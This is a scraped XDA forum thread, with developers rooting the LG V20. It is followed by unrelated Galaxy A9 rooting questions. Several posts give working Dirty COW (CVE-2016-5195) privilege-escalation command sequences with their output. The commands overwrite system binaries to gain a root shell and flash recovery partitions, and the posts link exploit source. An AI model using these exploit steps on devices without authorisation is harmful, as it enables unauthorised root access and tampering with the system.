yashsingh1/xdaforums huggingface dataset:
[LG V20 Guides, News, & Discussion] rbox:
I have seen a video of an exploit that does have everything needed to run the supersu script. Aside from that.. after looking at dirtycow and running it myself... The code I saw was for replacing /system/bin/run-as. That one has setuid, the problem is, turning that into a way to install su is a little tricky because of SELinux.
[LG V20 Guides, News, & Discussion] mingkee:
That's it.

Patch the SE Linux policy in kernel.

This is how Tab A 7.0 got rooted on top of security key added to TWRP to bypass the bootloader.
[LG V20 Guides, News, & Discussion] rbox:
That's easier said than done. You need to be in the init context to be able to reload the policy.
[LG V20 Guides, News, & Discussion] stanleyopar2000:
I have no idea why we are going through all of this. I mean, isn't this what a unlocked bootloader is for? To make system changes? Why did LG even bother if they are going to still fight us..
[LG V20 Guides, News, & Discussion] rbox:
My theory is that they don't want people to be rooting and modifying, but buried deep in some contract it says "thou shall allow the bootloader to be unlocked". But then doesn't specify anything else, so that's all they've done. </conspiracy_theory> :)
[LG V20 Guides, News, & Discussion] deadrider1:
LG exec: everyone is complaining about wanting an unlocked bootloader so let's just give it to them and then remove all the fastboot commands that way everyone wins.

LG CEO: amazing give that man a raise.

XDA Community: Go die in a whole LG.

My theory right there.
[LG V20 Guides, News, & Discussion] justthefacts:
I suspect Google more than i would LG
[LG V20 Guides, News, & Discussion] jcadduono:
TWRP is ready for the V20, just no one is volunteering to install it yet. (been waiting 2 days so far)

If you can gain root via dirtycow/run-as on your H918 then click the #twrp link in my signature and I'll guide you through flashing and debugging it.
[LG V20 Guides, News, & Discussion] twistedvip:
Out of curiosity - has anyone who owns an AT&T variant V20 tried to unlock their bootloader and had success?
[LG V20 Guides, News, & Discussion] Darriousx:
I'm so tempted to try this out... I'm just concerned about possibly bricking my phone in some way so I'll hold off. Plus, I'm no where near as talented or knowledgeable as you amazing developers :)
[LG V20 Guides, News, & Discussion] slayerh4x:
I will take one for the team. :highfive:
[LG V20 Guides, News, & Discussion] deadrider1:
just as a side question, once we get twrp on our devices, is there any way to restore full fastboot commands?
[LG V20 Guides, News, & Discussion] shojus:
That's what I'm talkin about! Good **** right here... If it takes, I am OMW to the T-Mobile store
[LG V20 Guides, News, & Discussion] jcadduono:
no we can't modify the boot chain

adb push dirtycow /data/local/tmp
adb push root-shell /data/local/tmp
adb push twrp.img /sdcard
adb shell
shell@gracelte:/ $ chmod 0777 /data/local/tmp/*
shell@gracelte:/ $ /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/root-shell
warning: new file size (10184) and file old size (14192) differ

size 14192

[*] mmap 0x7fa4dbd000
[*] exploit (patch)
[*] currently 0x7fa4dbd000=10102464c457f
[*] madvise = 0x7fa4dbd000 14192
[*] madvise = 0 1048576
[*] /proc/self/mem 1996488704 1048576
[*] exploited 0x7fa4dbd000=10102464c457f
shell@gracelte:/ $ /system/bin/run-as
Current uid: 2000
Setting capabilities
Attempting to escalate to root
Current uid: 0
Starting root shell
root@gracelte:/ # dd if=/sdcard/twrp.img of="$(find /dev/block -iname recovery | head -n1)"
94209+0 records in
94208+0 records out
48234496 bytes transferred in 2.140 secs (22539484 bytes/sec)

LOL it works on my Note 7, hope it works on your H918!

https://build.nethunter.com/android-tools/dirtycow-root-shell-msm8996/

ok so i need to make some adjustments for selinux contexts, since runas context cant execute sh
[LG V20 Guides, News, & Discussion] shojus:
Waiting impatiently to see if the V20 is going to be my next phone...
[LG V20 Guides, News, & Discussion] freeza:
That's what's up. If i had a tmo v20, i would have been the first to try
[LG V20 Guides, News, & Discussion] freeza:
I was able to put a recovery on the n7 with our root option but it failed to boot until i restored stock
[LG V20 Guides, News, & Discussion] shojus:
Nice to see you here freeza!
[LG V20 Guides, News, & Discussion] twistedvip:
I'm assuming we still have to worry about SELinux not letting you boot due to modified system with its new security in 7.0 right?
[LG V20 Guides, News, & Discussion] EMSpilot:
US996

My US996 variant should be here here soon. Nice to see everyone in here!

Cheers
[LG V20 Guides, News, & Discussion] wolfgart:
This is a right answer for [MENTION=5672995]jcadduono[/MENTION]
[LG V20 Guides, News, & Discussion] bambam126:
I'll try anything give me link
[LG V20 Guides, News, & Discussion] arjuna_:
Wait so this is still only an option for unlocked bootloader devices right?
[LG V20 Guides, News, & Discussion] shojus:
Soooooo? Any luck?
[LG V20 Guides, News, & Discussion] bountyman334:
more than likely....am currently trying to push dirtyc0w and rootshell into v20 now
[LG V20 Guides, News, & Discussion] slayerh4x:
I wasn't able to get a root shell with this, so it didn't really work. JCAdduono is working on something else now.
[LG V20 Guides, News, & Discussion] shojus:
Thanks 4 the update! Much appreciated and thanks 4 helping...
[LG V20 Guides, News, & Discussion] bountyman334:
so far so good...dirtyc0w got pushed over and root-shell
[LG V20 Guides, News, & Discussion] jcadduono:
Well so far I'm 2 attempts in...

runas context doesn't have much for selinux permissions more than just root escalation :(

runas context can't start a shell process (which is why you still see $ instead of # on your device)

runas context can't read or write a block device (I tried adding flash image to it with cow-flash, did not work either) - see: https://github.com/jcadduono/CVE-2016-5195/blob/android-6.0/cow-flash.c

i can't think of any context that has both block access and privilege escalation...would need find some magical way to get past selinux guards
[LG V20 Guides, News, & Discussion] rbox:
Can it execute the the install-recovery script (or whatever it's called)?
[LG V20 Guides, News, & Discussion] jinkerz9430:
I have a question, (i am barely starting with c++ class and then i will take java and some other things, so, im a noob right now), Is the problem that there is not TWRP recovery yet? or are you guys trying to use a more direct approach other than twrp recovery?

I figure, since LG V10 is the predecessor of the LG V20, maybe the TWRP might just need to be modified?

http://xdaforums.com/tmobile-lg-v10/development/recovery-unofficial-twrp-t3239740

I know there is a difference on android versions between both of them. I also know that andriod 7.0 came heavily equipped with security which makes it a harder device to be rooted. If you guys already tried this the forget this post LOL. (I expect to be a pro to someday)
[LG V20 Guides, News, & Discussion] jcadduono:
I made TWRP for the V20 specifically already. https://build.nethunter.com/test-builds/twrp/lge/
[LG V20 Guides, News, & Discussion] rbox:
Or can you somehow get to the init context? Maybe overwrite something init will run without an explicit context?
[LG V20 Guides, News, & Discussion] shojus:
YA BABY!!!! Nice!!

Or, maybe not....? :(
[LG V20 Guides, News, & Discussion] jinkerz9430:
AAAAH I see, well. I using the traditional methods and see if i have any luck by any chance. :eek: , I have used Vroot, kingoroot, kingroot, among others. Maybe i will find a strange one and that one will hit the spot LOL
[LG V20 Guides, News, & Discussion] bountyman334:
thanks...am downloading android sdk for ubuntu..
[LG V20 Guides, News, & Discussion] jcadduono:
well I'm out of ideas, since runas_exec context is useless for doing anything, and it's the only context I know that can do escalation besides init_exec context, and running anything as init_exec context basically crashes the device, I'm not sure where to go from here.

https://github.com/timwr/CVE-2016-5195/issues/14

until we can find some weird exploit to take out selinux or switch contexts after becoming root, this is only half an exploit :(

we can find exec contexts to steal using the command:

find /system/ -type f -exec ls -Z "{}" \; | grep _exec

fsck_exec is perfect for flashing images with, but it has no way to elevate privileges like runas_exec, so it still can't read/write to block devices.

[MENTION=631273]Chainfire[/MENTION] master of selinux contexts, what is your opinion on the matter
[LG V20 Guides, News, & Discussion] lightninbug:
The more I read the more depressing this is sounding...

Thanks for the work too, everyone who's helping.
[LG V20 Guides, News, & Discussion] rbox:
There is a property that will cause init to reload the selinux policy. Can you overwrite the policy in /?
[LG V20 Guides, News, & Discussion] lightninbug:
I would, but I'm watching the World Series. I will be available tomorrow to test.
[LG V20 Guides, News, & Discussion] Amd4life:
I don't have skype, but i would LOVE a link to a bootable tot. my device is dead, can you pm me please
[LG V20 Guides, News, & Discussion] bountyman334:
I think i found an exploit....am backing up my device via lg backup pc now incase something happens and also have the tmobile stock 10d t0t file ready...

[IMG="exploit v20"]http://xdaforums.com/attachment.php?attachmentid=3915939&stc=1&d=1477462794[/IMG]

am going to add you....and maybe if some1 wanna start a group chat

***Never mind i ran into a wall...i dont know the recovery block location or number..i hate to brick..

[MENTION=5672995]jcadduono[/MENTION];69309570 do you know the header or the block number for the recovery???

[IMG="v29=0="]http://xdaforums.com/attachment.php?attachmentid=3915942&stc=1&d=1477448834[/IMG]
[LG V20 Guides, News, & Discussion] jcadduono:
i don't know the # and you're not actually root, the root shell does not work with selinux enabled, you're no further than i am
[LG V20 Guides, News, & Discussion] tungkick:
phone of your soft brick hand downloadmod right?

contact me send me id teamveiwer

---------- Post added at 04:31 AM ---------- Previous post was at 04:30 AM ----------

facebook.com/tungkick777
[LG V20 Guides, News, & Discussion] Bubba Fett:
I love listening to you guys do you thing. Don't know what you're saying but it's awesome. I appreciate the efforts.
[LG V20 Guides, News, & Discussion] Amd4life:
I dont have a teamviewer account. mine is stuck in firmware upgrade status. I can still see the device in adb. I can still unlock and or lock the bootloader. It just wont go past the firmware screen
[LG V20 Guides, News, & Discussion] bountyman334:
I understand... you right here to..am trying to see if i can create or push the systemless root into the system or at lleast into the system/bin to run phhsupersu

[IMG="v20.1"]http://xdaforums.com/attachment.php?attachmentid=3915947&stc=1&d=1477449695[/IMG]

*****AM ALSO ABLE TO LOOK AT THE SYSTEM FILE BUT DENIED....[IMG="V20.2"]http://xdaforums.com/attachment.php?attachmentid=3915947&stc=1&d=1477464690[/IMG]
[LG V20 Guides, News, & Discussion] tungkick:
https://download.teamviewer.com/download/TeamViewer_Setup.exe

only install then send id and pass in teamveiwer :(
[LG V20 Guides, News, & Discussion] bountyman334:
still trying to get something going... more wait time...but its going.....i know where to pick up

[IMG="v220"]http://xdaforums.com/attachment.php?attachmentid=3916006&stc=1&d=1477455416[/IMG]
[LG V20 Guides, News, & Discussion] arjuna_:
You have made a new TOT file with TWRP? Have you tried flashing it first? I'd like to give my phone as a tester but I've already bricked my G5 in the past with you.. don't want that to happen again.
[LG V20 Guides, News, & Discussion] -viperboy-:
Dude, you're not even doing anything useful. You tried to execute sudo on Android, which isn't a thing. You are typing directories and not even cding into them. You don't even know that you're not in a root shell. You really should leave this to people that know what they're doing.
[LG V20 Guides, News, & Discussion] jcadduono:
another idea I had was to have the run-as replacement attempt to set capabilities on another process already running from fsck_exec context.

this didn't go as I had hoped either, since it seems impossible to change capabilities of a process that isn't a child of the process attempting to change capabilities. grr.

here's more fun if you want to play around with selinux denials (execute specific commands!)

https://build.nethunter.com/android-tools/dirtycow/arm64/

adb push dirtycow /data/local/tmp

adb push cow-exec /data/local/tmp

adb shell

shell@elsa:/ $ chmod 0777 /data/local/tmp/*

shell@elsa:/ $ /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/cow-exec

warning: new file size (10184) and file old size (14192) differ

size 14192

[*] mmap 0x7f9bf5d000

[*] exploit (patch)

[*] currently 0x7f9bf5d000=10102464c457f

[*] madvise = 0x7f9bf5d000 14192

[*] madvise = 0 1048576

[*] /proc/self/mem 1996488704 1048576

[*] exploited 0x7f9bf5d000=10102464c457f

shell@elsa:/ $ run-as -exec id
Current uid: 2000
Setting capabilities
Attempting to escalate to root
Current uid: 0
Executing: 'id' with 0 arguments

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:runas:s0

shell@elsa:/ $ run-as -exec sh
Current uid: 2000
Setting capabilities
Attempting to escalate to root
Current uid: 0
Executing: 'sh' with 0 arguments

shell@elsa:/ #

That last one is actually going to fail due to selinux! :P (it works on all my devices with permissive)

I made it require a -exec param for safety, in case other processes are trying to call run-as.

Source: https://github.com/jcadduono/CVE-2016-5195

Update:I'm able to flash recovery.img by replacing applypatch with a binary that flashes recovery.img from /sdcard/recovery.img when run, and start it with "setprop ctl.start flash_recovery"!!

https://github.com/jcadduono/CVE-2016-5195/commit/aeb76c239181289b2e7cda6b6865335a06d5c14b (cow-applypatch-flash source)

Prebuilt binaries: https://build.nethunter.com/android-tools/dirtycow/arm64/

You will need dirtycow and cow-applypatch-flash

adb push twrp.img /sdcard/recovery.img

adb push dirtycow /data/local/tmp

adb push cow-applypatch-flash /data/local/tmp

adb shell

$ chmod 0777 /data/local/tmp/*

$ /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/cow-applypatch-flash

$ setprop ctl.start flash_recovery

$ logcat | grep cow (you can see flash progress or failure with this)

wait ~60 seconds

TWRP is installed!
[LG V20 Guides, News, & Discussion] slayerh4x:
I knew you would get it dude.
[LG V20 Guides, News, & Discussion] bambam126:
Yay so what now?

---------- Post added at 12:12 PM ---------- Previous post was at 12:11 PM ----------

I can try it I have a spare v20 lol
[LG V20 Guides, News, & Discussion] tungkick:
if workking no need make tot^^
[LG V20 Guides, News, & Discussion] arjuna_:
Is this a confirmation that twrp is installed? If so how do I go about testing it myself?
[LG V20 Guides, News, & Discussion] system0verload:
[MENTION=5672995]jcadduono[/MENTION]

Awesome dude!!!!! Always coming through like always.. BTW, your avatar is hilarious as heck! Hah
[LG V20 Guides, News, & Discussion] stanleyopar2000:
Holy crap! Let's see dem screenshots!... Great work!!

Once we have TWRP pushing a superuser client should be a breeze if I'm not mistaken correct...?
[LG V20 Guides, News, & Discussion] system0verload:
I'll be getting my phone tomorrow evening through UPS... sucks!!! Would have blown its virginity right now lol
[LG V20 Guides, News, & Discussion] stanleyopar2000:
Let's wait a bit until there is a structured sticky for TWRP installation. This doesn't need to be rushed.
[LG V20 Guides, News, & Discussion] arjuna_:
I have the phone in hand. What do I do to install TWRP? I haven't pushed anything as of yet.
[LG V20 Guides, News, & Discussion] stanleyopar2000:
Great work by [MENTION=5672995]jcadduono[/MENTION]....do you have a donation page?
[LG V20 Guides, News, & Discussion] jcadduono:
Hold on still. While this works on my device, it seems some users are having trouble with starting the flash_recovery service. Nougat might have gotten rid of setprop ctl.start ability!!
[LG V20 Guides, News, & Discussion] system0verload:
Well, JC has the .img file ready... I don't know the appropriate channel to download it, perhaps he can link it here for download [MENTION=5672995]jcadduono[/MENTION]

Once you get the .img file just follow the shell commands he posted on the *updated* comment
[LG V20 Guides, News, & Discussion] stanleyopar2000:
Oh I see o. O well $hit.

Once we have a confirmed TWRP installation and root method (sticky posts , guide etc) I want to definitely help donation wise if this becomes more
[LG V20 Guides, News, & Discussion] jcadduono:
I will not post a working image here until someone steps up to work with me in #twrp channel on freenode.
[LG V20 Guides, News, & Discussion] system0verload:
I can definitely help if you need people to work with along side with you testing stuff.. My phone gets here tomorrow evening, however, so I am not much of help for the moment being.. at least, my phone *will be* a science project so it can get all banged up; I don't care.

There's this other dude [MENTION=2815330]arjuna_[/MENTION] who would volunteer I believe, since he has the phone in hand..
[LG V20 Guides, News, & Discussion] bigmase23:
Can you get us even more hype and take a pic of it installed on your device? [emoji1] [emoji1] [emoji1]
[LG V20 Guides, News, & Discussion] arjuna_:
I can help but I have work in one hour. I can try to help in the evening though since it's 5:20 AM where I'm at.
[LG V20 Guides, News, & Discussion] bambam126:
What's the channel I don't mjnd
[LG V20 Guides, News, & Discussion] arjuna_:
Yeah I can help too for about 30 mins to an hour.
[LG V20 Guides, News, & Discussion] system0verload:
Go to freenode, choose username desired (likely something people can relate back to you here on XDA I guess), type "twrp"
[LG V20 Guides, News, & Discussion] bambam126:
I went there. And it got closed so Idk
[LG V20 Guides, News, & Discussion] bountyman334:
i actually was cding into /data/local/tmp...i just tried sudo-ing into android because android is linux based os.. i know what am doing.. i was making sure i had files in place to manually push root ...i already have unlocked bootloader
[LG V20 Guides, News, & Discussion] Honestly Annoying:
Damn dude nice!
[LG V20 Guides, News, & Discussion] bountyman334:
am on there [MENTION=5672995]jcadduono[/MENTION];same name
[LG V20 Guides, News, & Discussion] jcadduono:
I am sleeping for the next 10 hours or so fyi so will not be in there

If you want to help out, try to start understanding the steps in running everything and think of ways you might be able to execute the service. Go through them a few times, you can use a fake file for /sdcard/recovery.img if you want. If it flashes then we can just replace it with a working one anyway.
[LG V20 Guides, News, & Discussion] -viperboy-:
This image says it all...

1) You tried to use sudo while you were in a shell on your v20 that isn't even rooted, which, to use sudo on a regular Linux system, you have to have an su binary in the system that's working, and you don't. Even if you did, sudo isn't a thing on android. Here's some light reading for you: http://unix.stackexchange.com/questions/59434/why-does-sudo-work-on-linux-but-not-android

2) Not only did you try to use sudo, but you tried to execute "nautilus", which is a file manager in GNOME...

3) You're just typing directories, what were you trying to accomplish? That's why you got the errors about "can't execute" because you're literally telling the shell that you want to execute that path... which is a directory. Not a binary, a script, etc.

4) You tried to change SELinux mode from a non-root shell, which doesn't work. But you didn't even know you weren't in a root shell (since you saw "exploited" here, I guess you thought it worked, despite the $ afterward), which starts with #, by the way.

So again, you're not being helpful, you're just making noise. Let the people that know what they're doing do their thing. This isn't the same thing as throwing a ROM together in the kitchen :good:
[LG V20 Guides, News, & Discussion] cbucz24:
Hey, just got the phone a few days ago. So much different than Sammy phones.

I built your extractor, but the readme doesnt give the syntax on how to use it to get to the img files?

I have one buddy who was able to make a theme blind already..Im going to do my own again. maybe a mod or two after i get going. but first i need to extract this nonsense tot file..

any help please?

edited: I think one of the problems im having is its not making the extractor right. I looked at the make file and sources. i tried several ways...

tried building it on my mint. wont run.

tried building it with the _WIN64 option but i guess i dont know how that works as its not making a .exe file
[LG V20 Guides, News, & Discussion] rbox:
Clone it, run make from the top level, run

build/BinExtractor -extract the.tot.file

What errors are you getting?
[LG V20 Guides, News, & Discussion] cbucz24:
Wow,

thanks bro. thats exactly what i needed. just the syntax to extract it. its working now.

Next is time to mount the .img and see what i can make:fingers-crossed:
[LG V20 Guides, News, & Discussion] stanleyopar2000:
This is exciting watching this unfold and not having a single clue what is being exchanged! XD

Really wish I was smarter
[LG V20 Guides, News, & Discussion] netgar:
This thread is more excited to read than watching "the walking dead" :)
[LG V20 Guides, News, & Discussion] joeygee23:
Just plain talent at work here!
[LG V20 Guides, News, & Discussion] cbucz24:
that was a challenge..got the TOT extracted and .img files pulled out.

also extracted the BlackBold theme and going to start playing with it.

im going to start with my normal black/white/transparent glass theme.

any requests?
[LG V20 Guides, News, & Discussion] joeygee23:
Get rid of the orange! Glass would be awesome.
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] ScotDroid:
Hi I have been looking about for any custom roms for the Samsung A9 but cannot find nothing.

Why is the A9 not listed in the description page of the A Series ? .

Cab anyone help me out please as it is a beast of a phone .

THANK YOU
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] Arathergreendroid:
I believe its because it is a Chinese model. Very few people have their phone. And does it have an exynos soc?
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] ivanox1972:
Is there root and twrp for hong kong 6.0 android version
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] ScotDroid:
Hong Kong model with Snapdragon 652 and a8 is Chinese but that model is supported thanks
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] ScotDroid:
Yes but I was looking for a debloated rom or any rom and there seems to be nothing thanks.
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] lonelime:
please help making root for A9000ZZH1BPI3 version

Hello Ashyx,

I know you are very great with making ROOT, and since you are here

may I know if you are interested making root for A9000 Hong Kong version 6.0.1?

i used Chainfire Auto root CF-Auto-Root-a9xltechn-a9xltezc-sma9000.zip

but that CF auto root did not work with A9000ZZH1BPI3 firmware.

I have tried like 20 times, and every time just stuck [MENTION=1709323]recovery[/MENTION] screen, then that's it,

if you have time could you please look into it, much appreciated...

Thank you
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] ivanox1972:
probably you must odin flash twrp and then super su from it...
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] lonelime:
oh I odin this one A9000-TWRP-PA7_kernel already

but it did not work too, still give me stock recovery stock...
[Galaxy A3, A5, A7, A8, A9 Q&A, Help & Troubleshoot] ivanox1972:
Try to flash twrp and immediately go in recovery, not boot rom.